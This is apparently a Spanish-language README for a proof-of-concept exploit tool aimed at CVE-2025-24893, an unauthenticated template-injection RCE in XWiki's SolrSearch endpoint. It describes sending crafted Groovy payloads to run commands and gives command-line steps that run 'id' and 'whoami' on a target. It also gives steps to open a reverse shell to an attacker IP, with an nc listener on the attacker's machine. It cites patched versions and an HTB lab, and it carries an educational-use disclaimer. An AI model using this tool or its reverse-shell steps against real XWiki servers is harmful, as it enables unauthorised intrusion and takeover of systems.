solrsearch-rce-exploit

PoC de RCE no autenticada para XWiki SolrSearch (CVE-2025-24893). Ejecución de comandos + shell inversa.

CVE-2025-24893 – XWiki SolrSearch RCE PoC

Prueba de concepto para la inyección de plantillas SolrSearch de XWiki que permite la ejecución remota de código sin autenticación.

Probado contra XWiki Debian 15.10.8 (parcheado en 15.10.11 / 16.4.1 / 16.5.0RC1).

⚠️ Solo para uso educativo. No lo ejecutes contra sistemas que no sean tuyos o para los que no tengas permiso explícito.

Qué hace

Envía payloads de Groovy manipulados a través de /xwiki/bin/get/Main/SolrSearch.
Ejecuta comandos arbitrarios y envuelve la salida en marcadores Base64 para una decodificación limpia.
Soporta el lanzamiento de una shell inversa mediante sockets de Java.

Requisitos

Python 3.x
Instala las dependencias con:

pip install requests

Uso

Especifica el host objetivo (y la ruta opcional) al ejecutar el script.

Ejecuta comandos básicos:

python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "id"
python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "whoami"

Inicia una shell inversa:

# On attacker box
nc -lvnp 4444

# From the PoC
python3 xwiki_solr_rce.py --target http://wiki.example.tld rshell <attacker_ip> 4444

Notas

Endpoint: /xwiki/bin/get/Main/SolrSearch?media=rss&text=...
La salida Base64 limpia garantiza un análisis fiable.
Demostrado originalmente durante HTB Editor, pero aplicable a otras instancias vulnerables.
https://nvd.nist.gov/vuln/detail/CVE-2025-24893

xwiki_solrsearch-rce-exploit

Más Populares